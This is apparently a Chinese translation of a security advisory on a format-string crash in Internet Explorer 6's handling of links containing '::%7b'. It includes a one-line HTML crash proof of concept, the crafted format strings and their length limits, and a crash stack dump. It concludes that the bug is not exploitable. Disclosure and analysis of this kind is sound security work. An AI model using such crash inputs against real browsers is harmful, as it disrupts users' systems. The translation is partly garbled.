ie exploit.txt

其中的方法和代码

受影响系统：
IE 6.0.2800.1106 SP1, Q832894, Q330994, Q837009 Q831167
受攻击的构成部分：
 * mshtml.dll version 6.0.2734.1600

当用户用右键在IE里面点击一种带有双冒号“::”和一个大括号的左半边 “{” 的特殊植入连接时，IE就会坠毁。
下面是一个HTML文件的例子：
--------------------------------- Begin Code ---------------------------------
<center><a href=::%7b>Right Click aOn Me And Click "Save Target As"</a>
---------------------------------- End Code ----------------------------------
需要注意的一点是，即使当用户在另存为的窗口弹出后点击取消，IE仍然会在另存为的窗口弹出后和用户
点击取消的这段间隔里下载该文件。Thor Larholm在下面的文章里指出这个行为让该漏洞变得更加危险。

当用右键选择另存为的时候将调用下载功能。但下载功能也可以被一种用META标签重连到服务器的脚本
自动打开。这个脚本将把Content-Type和Content-Disposition标题设置成一种位置的MIME-类型，这将导致在IE
尝试开始下载，并在临时文件里创建合适的文件时令  “ 打开/另存为“对话框自启动。就像另存为功能一样。

Array1 应该包含普通的printf-type arguments(除了formatstring)但是，当什么都不需要的时候，Array1的pointers
已经存在了，但是Array1本身并不存在。RtlFormatMessage的formatstring看起来像这样：
"%index!conversion!"

举例：当"%2!s!"显示一个为Array1[1]的String时 "%1!x!" 会显示一个十六进制的String。实际上转换是用
_snwprintf 完成的。RtlFormatMessage传递目标文件String，长度，formatstring和Array1[index]为第一个转换的
argument。攻击者控制着formatstring 和 Array1[index]。%10!x%x!将给_snwprintf %x%x作为 formatstring 和 Array1[9]
的第一个argument。

HREF转换到"[file] from [server]" (XXXX from ::), 被RtlFormatMessage里的formatstring 所使用。
bug必须按照下面的条件顺序来运行：
 *  HREF总数不能超过 97 bytes 或者 _snwprintf 不会被命名（called）。
 * [file] 不能超过 28 bytes 或者 _snwprintf 不会被命名（called）。
 * "file://::XXXX/A" 转换为 "A from ::XXXX". 用这种方法来突破[file]-长度的限制。
* RtlFormatMessage的每一个转换说明符(%index!conversion!) 不能超过34 bytes 或者snwprintf 不会被命名（called）
 * RtlFormatMessage 的信息长度限制为10000 bytes.从而每个 _snwprintf的命名（call） 都有一个适当的长度。
下面这个列表示已坠毁的 Internet Explorer的代码:
--------------------------------- Begin Code ---------------------------------
Address    Stack      Procedure / arguments                 Called from
Frame
xxxxEB3C   77F8F40C   ntdll._snwprintf                      ntdll.77F8F407
xxxxEED8
xxxxEB40   yyyyyyyy     destination = yyyyyyyy
xxxxEB44   00010000     count = 10000 (10000-allready printed chars)
xxxxEB48   xxxxEE84     format = "%x" (conversion)
xxxxEB4C   xxxxxxxx       = 1  Array1[index]
xxxxEB50   00000000       = 0
xxxxEB54   00000000       = 0
xxxxEB58   00000500       = 0x500
xxxxEB5C   00000000       = 0
xxxxEB60   00000000       = 0
xxxxEB64   xxxxFE6C       = &Array1[1]
xxxxEEDC   7C57F221   ntdll.RtlFormatMessage
KERNEL32.7C57F21B
xxxxEF74
xxxxEEE0   04246F30     Source = UNICODE "A from ::%1!x!"
xxxxEEE4   00000000
xxxxEEE8   00000000
xxxxEEEC   00000000
xxxxEEF0   00000000
xxxxEEF4   xxxxFE24     Arguments = xxxxFE24 [&&&Array of arguments]
xxxxEEF8   yyyy0000     Destination = freshly allocated heap.
xxxxEEFC   00010000     Length = 10000 (updated by RtlFormatMessage and passed to _snwprintf)
xxxxEF64   xxxxFFDC   [Pointer to next SEH record]
xxxxEF68   xxxxxxxx   [SE handler]
xxxxEF78   7C57F2CB   KERNEL32.7C57F102
KERNEL32.7C57F2C6             xxxxEF74
xxxxEFA0   70A9D0CD   KERNEL32.FormatMessageW               SHLWAPI.70A9D0C7
xxxxEF9C
xxxxEFA4   00000500     Flags = ALLOCATE_BUFFER|FROM_STRIN
xxxxEFA8   04246F30     pSource = 04246F30
xxxxEFAC   00000000     MessageId = 0
xxxxEFB0   00000000     LanguageId = 0 (LANG_NEUTRAL)
xxxxEFB4   xxxxFE28     Buffer = xxxxFE28
xxxxEFB8   00000000     BufSize = 0
xxxxEFBC   xxxxFE24     Arguments = xxxxFE24 [&&&Array of arguments]
xxxxF3F8   7174B9DD   SHLWAPI.#68                           SHDOCVW.7174B9D7
xxxxF3F4
xxxxFC38   UNICODE "::%1!x!/A"
xxxxFE24   xxxxFE44   [&&Array of arguments]
xxxxFE30   7175E158   SHDOCVW.7174B97C                      SHDOCVW.7175E153
xxxxFE2C
xxxxFE44   xxxxFE6C   [&Array of arguments]
xxxxFE48   717610C6   SHDOCVW.7175E122                      SHDOCVW.717610C1
xxxxFE44
xxxxFE6C   xxxxFEA4   [arg 1 -> arg 15]
xxxxFE70   7176111D   SHDOCVW.7176103E              SHDOCVW.7176111D
xxxxFE74   00199020
xxxxFE78   001D4358
xxxxFE94   001D5F74
xxxxFEA4   xxxxFEEC   [arg 15 -> arg 33 ]
xxxxFEA8   71761331   RETURN to SHDOCVW.71761331 from SHDOCVW.717610EC
xxxxFEAC   00199020
xxxxFEB0   001D4358
xxxxFED0   001D5F74
xxxxFEE4   001D5F50
xxxxFEE8   00199020
xxxxFEEC   xxxxFF50   [ arg 33 -> ... ]
xxxxFEF0   717604AB   RETURN to SHDOCVW.717604AB from SHDOCVW.717612E2
xxxxFEF4   00199C80   (arg 35) UNICODE "file://:|%1!x!/A"
xxxxFE70   7176111D   SHDOCVW.7176103E                      SHDOCVW.71761118
xxxxFE6C
xxxxFEA8   71761331   SHDOCVW.717610EC                      SHDOCVW.7176132C
xxxxFEA4
xxxxFEF0   717604AB   SHDOCVW.717612E2                      SHDOCVW.717604A6
xxxxFEEC
xxxxFF50   040BFFB4   [ ... -> ... ]
xxxxFF54   70AAC487   Includes SHDOCVW.717604AB             SHLWAPI.70AAC484
xxxxFF50
xxxxFFB8   7C57438B   Includes SHLWAPI.70AAC487
KERNEL32.7C574388
xxxxFFB4
xxxxFFDC   FFFFFFFF   [Pointer to next SEH record]
xxxxFFE0   xxxxxxxx   [SE handler]
---------------------------------- End Code ----------------------------------
The vulnerability however is not exploitable. This is mainly due to the fact that the SEH can't be reached and 
RtlFormatMessage doesn't allow enough room in the format string to have _snwprintf do stackpopping and overwrite it. 
In addition, overwriting something with useful value is not plausible.
无论如何，这个漏洞是不可利用的。这主要由于RtlFormatMessage在format string里不允许有足够的空间让
_snwprintf覆盖源数据。